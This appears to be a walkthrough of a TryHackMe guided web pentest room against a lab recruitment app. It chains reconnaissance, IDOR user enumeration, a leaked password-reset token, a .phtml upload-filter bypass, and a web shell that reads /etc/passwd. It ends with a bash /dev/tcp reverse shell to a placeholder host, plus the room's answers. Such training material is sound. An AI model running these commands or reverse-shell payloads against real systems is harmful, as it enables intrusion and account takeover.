# Guided Pentest: Web

Link to the Walkthrough/Challenge on TryHackMe: [**Guided Pentest: Web**](https://tryhackme.com/room/guidedpentestweb)

## Introduction

Imagine you have been hired as a penetration tester. Your client runs a small web application called **RecruitX**, an internal recruitment portal where hiring managers post job listings, candidates submit applications, and administrators manage the entire workflow. The client suspects the application has security issues, but does not know where. Your job is to find out.

This room will guide you through a realistic web application penetration test from start to finish. You will not be dropped into a machine and told to "find the flags." Instead, each task walks you through a phase of the engagement, explaining what to do, why you are doing it, and what to look for. By the end, you will have moved from knowing nothing about the target to achieving remote code execution on the underlying server.

## **Learning Objectives**

The engagement follows this path:

1.  **Reconnaissance and enumeration** - Discover what the application exposes
    
2.  **Insecure Direct Object Reference (IDOR)** - Access data belonging to other users
    
3.  **Weak password reset** - Take over an account through a flawed reset mechanism
    
4.  **Admin panel access** - Escalate from a regular user to an administrator
    
5.  **Remote code execution** - Leverage admin functionality to execute commands on the server
    

Each vulnerability builds on the information gathered in the previous step. This is how real-world penetration tests work; you rarely find a single critical flaw sitting in the open. Instead, you chain smaller weaknesses together until they add up to something significant.

## **Prerequisites**

*   [Linux CLI Basics](https://tryhackme.com/room/linuxclibasics)
    
*   [HTTP in Detail](https://tryhackme.com/room/httpindetail) 
    
*   [Web Application Basics](https://tryhackme.com/room/webapplicationbasics)
    

## Reconnaissance and Enumeration

Before touching the application, let's understand what we are working with. In any penetration test, the first phase is always reconnaissance; gathering as much information about the target as possible without making assumptions. You would never walk into a building you are hired to assess without first looking at the exterior, checking the doors, and reading the signs. The same principle applies here.

## **Port Scanning**

Let's start by discovering what services are running on the target. Open a terminal and run an Nmap scan:

Terminal

```shell-session
root@tryhackme:~# nmap -sV -sC -p- MACHINE_IP
Starting Nmap 7.80 ( https://nmap.org ) at 2026-03-27 16:40 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for MACHINE_IP
Host is up (0.00015s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.58 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: RecruitX \xE2\x80\x94 Home
3306/tcp open  mysql   MySQL (unauthorized)
8080/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 06:B2:88:D5:C7:67 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.54 seconds
```

We can notice four open ports. Port `22` is SSH, useful later if we obtain credentials. Port `80` is our target web application running on Apache. Port `3306` is MySQL, indicating the application uses a MySQL database on the backend and port `8080` showing Apache default page. This is valuable information; it means the application likely constructs SQL queries, and any input handling weaknesses could lead to SQL-related issues.

## **Exploring the Application**

Open your browser and navigate to [`http://MACHINE_IP`](http://MACHINE_IP). You should see the RecruitX landing page. Before clicking anything, take a moment to observe what is on the page. You will see a navigation bar with links to **Home**, **Jobs**, **Login**, and **Register**. There is also a footer that mentions "RecruitX v2.4."

Let's check the HTTP response headers as well:

Terminal

```shell-session
root@tryhackme:~# curl -I http://MACHINE_IP
HTTP/1.1 200 OK
Date: Fri, 27 Mar 2026 16:43:09 GMT
Server: Apache/2.4.58 (Ubuntu)
Set-Cookie: PHPSESSID=f05vg10cq16k3kq5vpurgpioqb; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
```

The headers confirm the server is running Apache with version `2.4.58`. The `PHPSESSID` cookie confirms PHP session management is in use. We now know the technology stack: **Apache + PHP + MySQL** - a classic LAMP configuration.

## **Directory Enumeration**

Now, let's discover what directories and files exist beyond what the navigation bar shows. We will use `Gobuster` with a common wordlist:

Terminal

```shell-session
root@tryhackme:~# gobuster dir -u http://MACHINE_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://MACHINE_IP
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 21600]
/profile.php          (Status: 302) [Size: 0] 
/login.php            (Status: 200) [Size: 15107]
/jobs.php             (Status: 200) [Size: 20288]
/uploads              (Status: 301) [Size: 314] 
/data                 (Status: 403) [Size: 277]
/admin                (Status: 301) [Size: 312] 
/test                 (Status: 200) [Size: 705]
/includes             (Status: 301) [Size: 315]
/api                  (Status: 301) [Size: 310] 
/logout.php           (Status: 302) [Size: 0] 
/config               (Status: 301) [Size: 313] 
/dashboard.php        (Status: 302) [Size: 0] 
/register.php         (Status: 200) [Size: 17384]
/reset.php            (Status: 200) [Size: 14408]
/.php                 (Status: 403) [Size: 277]
Progress: 175328 / 175330 (100.00%)
===============================================================
Finished
===============================================================
```

This output tells us a great deal. Let's break down the important discoveries:

*   `/admin` - An admin panel exists, but it redirects to the login page. We will need credentials to access it.
    
*   `/api` - An API endpoint is present. APIs often expose data in ways the frontend does not.
    
*   `/reset.php` - A password reset page. Reset mechanisms are frequently implemented insecurely.
    
*   `/uploads` - An uploads directory. If we can upload files, this could be a path to code execution.
    
*   `/profile.php` and `/dashboard.php` - These require authentication, so we need to be logged in to access them.
    

## **Registering an Account**

Several pages require authentication. Let's log in using an account, so we can explore the application's features. Navigate to [`http://MACHINE_IP/login.php`](http://MACHINE_IP/login.php) and log in with the following details:

*   **Email:** testuser@fake.thm
    
*   **Password:** Password123
    

**Note**: You can register and use any other account by registering at [`http://MACHINE_IP/register.php`](http://MACHINE_IP/register.php).

After logging in, the application redirects you to `/dashboard.php`. You now see a dashboard showing information like `Open Positions`, `Total Applications` or an option to `Browse Jobs`, etc. Take note of the URL as you click around, particularly when viewing your own profile.

![Dashboard of RecruitX website after logging in.](https://tryhackme-images.s3.amazonaws.com/user-uploads/691e303c8bb7e99b93a58132/room-content/691e303c8bb7e99b93a58132-1777663196371.png align="center")

## **Exploring the API**

Earlier, Gobuster found an `/api` endpoint. Let's investigate what it exposes:

Example Terminal

```shell-session
root@tryhackme:~# curl http://MACHINE_IP/api/
{"endpoints":["\/api\/user","\/api\/jobs","\/api\/applications"]}
```

The API helpfully lists its own endpoints. This is already an information disclosure issue in a production application; an unauthenticated user should not be able to discover internal API routes. Let's keep these in mind as we move into the next task.

### Answer the questions below

What version of the Apache server is running? `2.4.58`

```shell
nmap -p- -sV IP_Address

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.58 ((Ubuntu))
3306/tcp open  mysql   MySQL (unauthorized)
8080/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
```

What database service is running on the target? `mysql`

What is the path to the password reset page? `/reset.php`

```shell
curl -I http://IP_Address
HTTP/1.1 200 OK
Date: Thu, 21 May 2026 18:37:47 GMT
Server: Apache/2.4.58 (Ubuntu)
Set-Cookie: PHPSESSID=00djgg2ocfm62e1njmp0ock00i; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
```

```shell
gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -x php

/.php                 (Status: 403) [Size: 277]
/login.php            (Status: 200) [Size: 15107]
/register.php         (Status: 200) [Size: 14802]
/profile.php          (Status: 302) [Size: 0] [--> /login.php]
/jobs.php             (Status: 200) [Size: 27698]
/uploads              (Status: 301) [Size: 314] [--> http://10.114.171.5/uploads/]
/data                 (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 21600]
/admin                (Status: 301) [Size: 312] [--> http://10.114.171.5/admin/]
/test                 (Status: 200) [Size: 705]
/includes             (Status: 301) [Size: 315] [--> http://10.114.171.5/includes/]
/api                  (Status: 301) [Size: 310] [--> http://10.114.171.5/api/]
/logout.php           (Status: 302) [Size: 0] [--> /login.php]
/config               (Status: 301) [Size: 313] [--> http://10.114.171.5/config/]
/dashboard.php        (Status: 302) [Size: 0] [--> /login.php]
/reset.php            (Status: 200) [Size: 14408]
/.php                 (Status: 403) [Size: 277]
```

## IDOR

Now that we have an authenticated session and know the application's structure, let's start looking for vulnerabilities. One of the most common and frequently overlooked flaws in web applications is **Insecure Direct Object Reference (IDOR)**.

Consider this analogy: you are staying in a hotel, and your room key is simply your room number 104. There is no electronic lock, no verification, just the number. What stops you from walking to room 105 and opening the door? Nothing. That is essentially what an IDOR vulnerability is: the application uses a predictable identifier to reference objects (user profiles, documents, orders) and does not verify whether the requesting user is authorised to access that specific object.

## **Finding the IDOR**

While logged in as your test user, navigate to your profile by clicking the button that’s showing your username at the top right in the dashboard (**Test** in this case). Look carefully at the URL in your browser's address bar:

```shell-session
http://MACHINE_IP/profile.php?id=6
```

The application references your profile using a numeric `id` parameter. Your account was the sixth one created, so your ID is `6`. The immediate question any penetration tester should ask is: What happens if I change that number?

## **Testing the Vulnerability**

Let's change the `id` parameter to `1` and see what happens. You can do this directly in the browser or with `curl`. In the browser, accessing the URL [`http://MACHINE_IP/profile.php?id=1`](http://MACHINE_IP/profile.php?id=1) would return this:

![Sarah Mitchell profile information.](https://tryhackme-images.s3.amazonaws.com/user-uploads/691e303c8bb7e99b93a58132/room-content/691e303c8bb7e99b93a58132-1774712262430.png align="center")

**Extracting Cookies**

In this exercise, you will require your session cookie, which you can get by right-clicking anywhere on the page and selecting Inspect, as shown below:

![Clicking on Inspect option in Firefox.](https://tryhackme-images.s3.amazonaws.com/user-uploads/691e303c8bb7e99b93a58132/room-content/691e303c8bb7e99b93a58132-1777664605616.png align="center")

Go to the `Storage` tab, then expand `Cookies` and select [`http://MACHINE_IP`](http://MACHINE_IP). You’ll see all cookies listed, look for the `PHPSESSID` cookie and copy its value.

![Copying Cookie value from the Firefox browser.](https://tryhackme-images.s3.amazonaws.com/user-uploads/691e303c8bb7e99b93a58132/room-content/691e303c8bb7e99b93a58132-1777664605890.png align="center")

 Let's also use `curl` so we can see exactly what comes back. Make sure to include your session cookie in the following command after `PHPSESSID=` value:

Terminal

```shell-session
root@tryhackme:~# curl -s -b "PHPSESSID=gs5ngd6duukc09agpdnj1o9tt2" "http://MACHINE_IP/profile.php?id=1" | grep "fw-semibold"
                        <div class="fw-semibold mt-1">Sarah Mitchell</div>
                        <div class="fw-semibold mt-1 mono">s.mitchell@recruitx.thm</div>
                        <div class="fw-semibold mt-1">March 24, 2026</div>
```

We just accessed the profile of user ID 1, **Sarah Mitchell**, who is an administrator. The application did not verify whether we are authorised to view this profile. It simply took the `id` value, queried the database, and returned the result.

Let's also check whether the API endpoint we discovered earlier has the same issue, and if it doesn't even require a session cookie:

Terminal

```shell-session
root@tryhackme:~# curl -s "http://MACHINE_IP/api/user?id=1"
{"id":1,"name":"Sarah Mitchell","email":"s.mitchell@recruitx.thm","role":"administrator","created":"2026-03-24"}
root@tryhackme:~# curl -s "http://MACHINE_IP/api/user?id=2"
{"id":2,"name":"James Crawford","email":"j.crawford@recruitx.thm","role":"hiring_manager","created":"2026-03-24"}
```

The API is even more revealing than the web page. It returns structured JSON with the user's name, email, role, and account creation date. By incrementing the `id` parameter from 1 through 5, we can enumerate every user in the system.

## **Why This Matters**

IDOR vulnerabilities are consistently ranked among the most common web application flaws. They occur because developers assume users will access only their own resources, an assumption that breaks the moment someone changes a URL parameter. The fix is straightforward: the server must verify that the currently authenticated user has permission to access the requested object. But in practice, this check is frequently missing.

### Answer the questions below

What is the name of the administrator user? `Sarah Mitchell`

![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/9d40247c-2b71-4b64-992e-3b9c769b1b4e.png align="center")

What role does James Crawford hold? `hiring_manager`

![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/86395032-98b5-4e8b-8c48-1ed243169b2d.png align="center")

## Weak Password Reset

We now know the administrator's email address: `s.mitchell@recruitx.thm`. Our next objective is to take over her account. Instead of trying to guess her password (which could take a long time and trigger account lockouts), let's examine the password reset mechanism. Password reset flows are one of the most commonly broken features in web applications because they are complex to implement securely, and developers often take shortcuts.

## **Understanding the Reset Flow**

Navigate to [`http://MACHINE_IP/reset.php`](http://MACHINE_IP/reset.php). You will see a simple form asking for an email address. Let's first test the flow with our own account to understand how it works. Enter `testuser@fake.thm` and submit the form.

This is our first major finding. In a properly designed application, the reset token would be sent to the user's email and would never be displayed on screen. But this application shows the token directly in the response. While this alone would let us reset our own password, the real question is: How is the token being shared with the user?

## **Analysing the Token**

Let's generate a few more tokens and look for patterns. Submit the reset form multiple times for your own account and record the tokens:

*   Attempt 1: `784512`
    
*   Attempt 2: `291037`
    
*   Attempt 3: `503648`
    

The tokens are six-digit numbers. They appear random, but the range is limited; there is only one million possible values (000000 to 999999). This is a weak token space. However, brute-forcing a million values might be slow. Let's look more carefully and try to reset the token for the administrator using their email address `s.mitchell@recruitx.thm`. We will get the following:

![Reset Password form after submitting the request.](https://tryhackme-images.s3.amazonaws.com/user-uploads/691e303c8bb7e99b93a58132/room-content/691e303c8bb7e99b93a58132-1774716594058.png align="center")

## **Resetting the Administrator's Password**

We now have everything we need. Let's use the token to reset Sarah Mitchell's password. Visit the reset URL, and it will ask for a new password:

![Reset password form showing option to set new password.](https://tryhackme-images.s3.amazonaws.com/user-uploads/691e303c8bb7e99b93a58132/room-content/691e303c8bb7e99b93a58132-1774716593988.png align="center")

Let's verify by logging in with the new password.

![Dashboard after logging in as Administrator.](https://tryhackme-images.s3.amazonaws.com/user-uploads/691e303c8bb7e99b93a58132/room-content/691e303c8bb7e99b93a58132-1777666543742.png align="center")

We are now logged in as the administrator. Let's take a moment to understand the chain so far: we used an IDOR to discover the administrator's email, then exploited a weak password reset mechanism that exposed tokens directly in the response. Neither vulnerability alone would have given us admin access, but chained together, they were devastating.

## **What Went Wrong**

The password reset mechanism had three distinct flaws:

1.  **Token displayed in response: The token should only be sent to the account owner's email, never displayed** on screen.
    
2.  **Weak token generation** - A six-digit numeric token has a small keyspace and is susceptible to brute-force attacks.
    
3.  **No rate limiting** - The application did not limit the number of reset requests or token guesses.
    

### Answer the questions below

How many digits long is the reset token? `6`

![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/2242ad5a-24c3-4fec-8edb-a78c6cf65e77.png align="center")

After resetting the password for s.mitchell@recruitx.thm and logging in, what role is displayed for that account in the dashboard? `Administrator`

![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/fbd561c9-4b44-4ba2-b24d-36b85cfda96f.png align="center")

## Admin Panel Access

We are now logged in as Sarah Mitchell, the application's administrator. Earlier during our enumeration, Gobuster discovered an `/admin` path that redirected unauthenticated users to the login page. Now that we have administrator credentials, let's see what is behind that door.

## **Exploring the Admin Dashboard**

Navigate to [`http://MACHINE_IP/admin`](http://MACHINE_IP/admin) using the browser where you are logged in as Sarah Mitchell. The admin panel exposes several management pages. Most of these are standard administrative functions, but one stands out immediately: `/admin/upload.php`. A file upload function in the hands of an administrator is a powerful feature, and from a penetration tester's perspective, it is a potential path to remote code execution.

![Upload copmany document form.](https://tryhackme-images.s3.amazonaws.com/user-uploads/691e303c8bb7e99b93a58132/room-content/691e303c8bb7e99b93a58132-1774771769527.png align="center")

## **Investigating the Upload Function**

Let's examine the upload page. Right-click on the `Upload` button and click `Inspect`, where you can inspect the client-side code:

![Upload button after selecting a file.](https://tryhackme-images.s3.amazonaws.com/user-uploads/691e303c8bb7e99b93a58132/room-content/691e303c8bb7e99b93a58132-1774771769468.png align="center")

We can notice several important details. The form says it accepts PDF, DOCX, and image files. The `accept` attribute on the file input restricts file types, but this is a *client-side* restriction only. The browser enforces it, but a direct HTTP request can send whatever file type it wants. The page also reveals the upload destination: `/uploads/documents/`. 

## **Testing the Upload Restrictions**

Let's test whether the server enforces file type restrictions. First, we will try uploading a harmless text file to see how the application responds. In the AttackBox, enter the following command to create a text file:

Terminal

```shell-session
root@tryhackme:~# echo "This is a test file" > test.txt
```

Once the file is created, upload it to the admin panel. Open the upload page, right-click on the file input, and select Inspect. In the HTML, remove the accept attribute by deleting it (backspace) so the browser no longer restricts file types. Now select and upload your file directly, bypassing the client-side restriction.

![Changing HTML after selecting file to upload.](https://tryhackme-images.s3.amazonaws.com/user-uploads/691e303c8bb7e99b93a58132/room-content/691e303c8bb7e99b93a58132-1774779278165.png align="center")

The server rejected the `.txt` file.

![Upload form showing error.](https://tryhackme-images.s3.amazonaws.com/user-uploads/691e303c8bb7e99b93a58132/room-content/691e303c8bb7e99b93a58132-1774773904573.png align="center")

So there is some server-side validation. But how thorough is it? Let's test whether the server checks only the file extension or also the file content. We will create a PHP file by using the following command:

Terminal

```shell-session
root@tryhackme:~# echo '<?php echo "PHP is executing"; ?>' > test.php
```

Once created, try to upload again. Still rejected. The application appears to be checking the final extension.

Let's try another common bypass using the `.phtml` extension, which Apache often processes as PHP:

Terminal

```shell-session
root@tryhackme:~# echo '<?php echo "PHP is executing"; ?>' > test.phtml
```

The `.phtml` extension was accepted. The application's file type filter blocks `.php` but does not account for alternative PHP extensions. This is a common oversight; developers create a blocklist of "dangerous" extensions, but miss less common ones that the server still processes as PHP.

![Upload form after the file is successfully uploaded.](https://tryhackme-images.s3.amazonaws.com/user-uploads/691e303c8bb7e99b93a58132/room-content/691e303c8bb7e99b93a58132-1774773896164.png align="center")

Let's verify that our uploaded file executes by visiting the page [`http://MACHINE_IP/uploads/documents/test.phtml`](http://MACHINE_IP/uploads/documents/test.phtml).

![PHP file uploaded and executing on the server.](https://tryhackme-images.s3.amazonaws.com/user-uploads/691e303c8bb7e99b93a58132/room-content/691e303c8bb7e99b93a58132-1774773894691.png align="center")

The server executed the PHP code and returned the output. We have confirmed that we can upload and execute PHP files on the server. In the next task, we will use this to gain remote code execution.

### Answer the questions below

What is the name of the PHP file responsible for handling file upload in the RecruitX web app? `upload.php`

What HTML attribute on the file input is used to restrict selectable file extensions on the client side? `accept`

Which alternative PHP extension bypassed the upload filter? `.phtml`

## Remote Code Execution

We have confirmed that we can upload PHP files to the server and that the server will execute them. This is the point in the penetration test where all the previous steps come together. We started with nothing, no credentials, no knowledge of the application. Through enumeration, IDOR exploitation, password reset abuse, and admin panel access, we have reached a position where we can execute arbitrary code on the server.

### Creating a Web Shell

A web shell is a small script that accepts commands through HTTP parameters and executes them on the server. Let's create a simple one and save it as `shell.phtml`:

This script checks for a cmd parameter in the URL. If present, it passes the value to `shell_exec()`, which runs the command on the operating system and returns the output. Upload the file on the Admin panel `http://MACHINE_IP/admin/upload.php`.

Executing Commands Let's verify we have code execution by running a simple command:

```plaintext
www-data
```

root@tryhackme:~# curl "http://MACHINE\_IP/uploads/documents/shell.phtml?cmd=id"

```plaintext
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

We have remote code execution. The commands are running as www-data, which is the default user for the Apache web server on Ubuntu. Let's gather more information about the system:

Terminal root@tryhackme:~# curl "http://MACHINE\_IP/uploads/documents/shell.phtml?cmd=hostname"

```plaintext
example-hostame
```

root@tryhackme:~# curl "http://MACHINE\_IP/uploads/documents/shell.phtml?cmd=uname+-a"

```plaintext
Linux example-hostame 6.8.0-1017-aws #18-Ubuntu SMP Wed Oct  2 20:17:03 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
```

We can now see the hostname, kernel version, and execute any command on the system.

Reading Sensitive Files Since we can read files on the server, a good first step is to check system files that list users. In Linux, /etc/passwd contains basic account information:

Terminal root@tryhackme:~# curl "http://MACHINE\_IP/uploads/documents/shell.phtml?cmd=cat+/etc/passwd" | grep -v "nologin" % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2088 100 2088 0 0 398k 0 --:--:-- --:--:-- --:--:-- 407k

```plaintext
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
dhcpcd:x:114:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
mysql:x:115:123:MySQL Server,,,:/nonexistent:/bin/false
```

By utilising our web shell, we accessed /etc/passwd and identified system users. In a real-world scenario, this level of access would enable further enumeration of configuration files to extract database credentials and gain full access to the application's backend data.

Obtaining a Reverse Shell A web shell works, but it is limited; each command is a separate HTTP request, there is no interactive session, and complex commands with special characters can be difficult to pass through URL parameters. Let's upgrade to a proper reverse shell.

First, set up a listener on your AttackBox:

Terminal root@tryhackme:~# nc -lvnp 4444 listening on \[any\] 4444 ... In a second terminal, trigger the reverse shell through the web shell. We will URL-encode the payload to avoid issues with special characters:

Terminal root@tryhackme:~# curl "http://MACHINE\_IP/uploads/documents/shell.phtml?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/CONNECTION\_IP/4444+0>%261'" Back in your listener terminal:

Terminal root@tryhackme:~# nc -lvnp 4444 listening on \[any\] 4444 ... Connection received on CONNECTION\_IP 48268 www-data@example-hostame:/var/www/html/uploads/documents$ whoami www-data www-data@example-hostame:/var/www/uploads/documents$ We now have an interactive shell on the target server. From here, a penetration tester would typically proceed to local enumeration and privilege escalation, but that is beyond the scope of this room.

Reading the Flag To confirm you have completed the engagement, read the flag file on the system:

Terminal www-data@example-hostame:~$ cat /var/www/flag.txt {REDACTED} Answer the questions below What user is the web shell running as?

www-data

Correct Answer What is the hostname of the target server?

recruitx-prod

Correct Answer What is the flag?

## The Attack Chain

## Conclusion
